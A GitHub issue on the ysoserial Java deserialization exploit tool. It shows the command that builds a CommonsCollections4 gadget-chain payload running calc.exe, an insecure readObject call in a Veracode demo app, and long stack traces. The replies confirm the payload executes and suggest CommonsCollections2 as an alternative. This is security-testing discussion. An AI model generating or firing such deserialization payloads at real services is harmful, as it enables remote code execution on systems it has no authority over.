Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

org.apache.commons.collections4.FunctorException: InstantiateTransformer: Constructor threw an exception #69

Closed
relaxnow opened this issue Aug 10, 2017 · 3 comments

Comments

@relaxnow
Copy link
Contributor

relaxnow commented Aug 10, 2017

Running:

$ java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar CommonsCollections4 calc.exe > ysoserial-cc4-calc-payload.bin

And feeding that to a Java 8, Spring 4.3 app hosted on Tomcat 8.5 with the following code:

			InputStream stream = new FileInputStream("ysoserial-cc4-calc-payload.bin");
			in = new ObjectInputStream(stream);
			in.readObject();
			in.close();

Leads to:

org.springframework.web.util.NestedServletException: Request processing failed; nested exception is org.apache.commons.collections4.FunctorException: InstantiateTransformer: Constructor threw an exception
	org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:982)
	org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:861)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:635)
	org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
	org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)


Root Cause
org.apache.commons.collections4.FunctorException: InstantiateTransformer: Constructor threw an exception
	org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:124)
	org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32)
	org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112)
	org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
	java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
	java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
	java.util.PriorityQueue.heapify(PriorityQueue.java:736)
	java.util.PriorityQueue.readObject(PriorityQueue.java:795)
	sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	java.lang.reflect.Method.invoke(Method.java:498)
	java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
	java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1909)
	java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1808)
	java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1353)
	java.io.ObjectInputStream.readObject(ObjectInputStream.java:373)
	com.veracode.verademo.controller.UserController.test(UserController.java:70)
	sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	java.lang.reflect.Method.invoke(Method.java:498)
	org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
	org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:133)
	org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:97)
	org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:827)
	org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:738)
	org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85)
	org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967)
	org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901)
	org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970)
	org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:861)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:635)
	org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
	org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)


Root Cause
java.lang.reflect.InvocationTargetException
	sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
	sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
	sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	java.lang.reflect.Constructor.newInstance(Constructor.java:423)
	org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:116)
	org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32)
	org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112)
	org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
	java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
	java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
	java.util.PriorityQueue.heapify(PriorityQueue.java:736)
	java.util.PriorityQueue.readObject(PriorityQueue.java:795)
	sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	java.lang.reflect.Method.invoke(Method.java:498)
	java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
	java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1909)
	java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1808)
	java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1353)
	java.io.ObjectInputStream.readObject(ObjectInputStream.java:373)
	com.veracode.verademo.controller.UserController.test(UserController.java:70)
	sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	java.lang.reflect.Method.invoke(Method.java:498)
	org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
	org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:133)
	org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:97)
	org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:827)
	org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:738)
	org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85)
	org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967)
	org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901)
	org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970)
	org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:861)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:635)
	org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
	org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)


Root Cause
java.lang.NullPointerException
	com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:372)
	com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:456)
	com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
	com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)
	sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
	sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
	sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	java.lang.reflect.Constructor.newInstance(Constructor.java:423)
	org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:116)
	org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32)
	org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112)
	org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
	java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
	java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
	java.util.PriorityQueue.heapify(PriorityQueue.java:736)
	java.util.PriorityQueue.readObject(PriorityQueue.java:795)
	sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	java.lang.reflect.Method.invoke(Method.java:498)
	java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
	java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1909)
	java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1808)
	java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1353)
	java.io.ObjectInputStream.readObject(ObjectInputStream.java:373)
	com.veracode.verademo.controller.UserController.test(UserController.java:70)
	sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	java.lang.reflect.Method.invoke(Method.java:498)
	org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
	org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:133)
	org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:97)
	org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:827)
	org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:738)
	org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85)
	org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967)
	org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901)
	org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970)
	org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:861)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:635)
	org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
	org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
@relaxnow
Copy link
Contributor Author

Dependency from pom.xml:

    <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
      <scope>compile</scope>
    </dependency>

@relaxnow
Copy link
Contributor Author

Workaround: Don't use CommonsCollection4 but CommonsCollection2 which does execute calc.exe

@frohoff
Copy link
Owner

frohoff commented Sep 2, 2017

Test case properly works for me with CommonsCollection4 on jdk1.8.0_112. It successfully executes the command even though it prints a stack trace (as is the case for many of the payloads). Closing for now.

@frohoff frohoff closed this as completed Sep 2, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants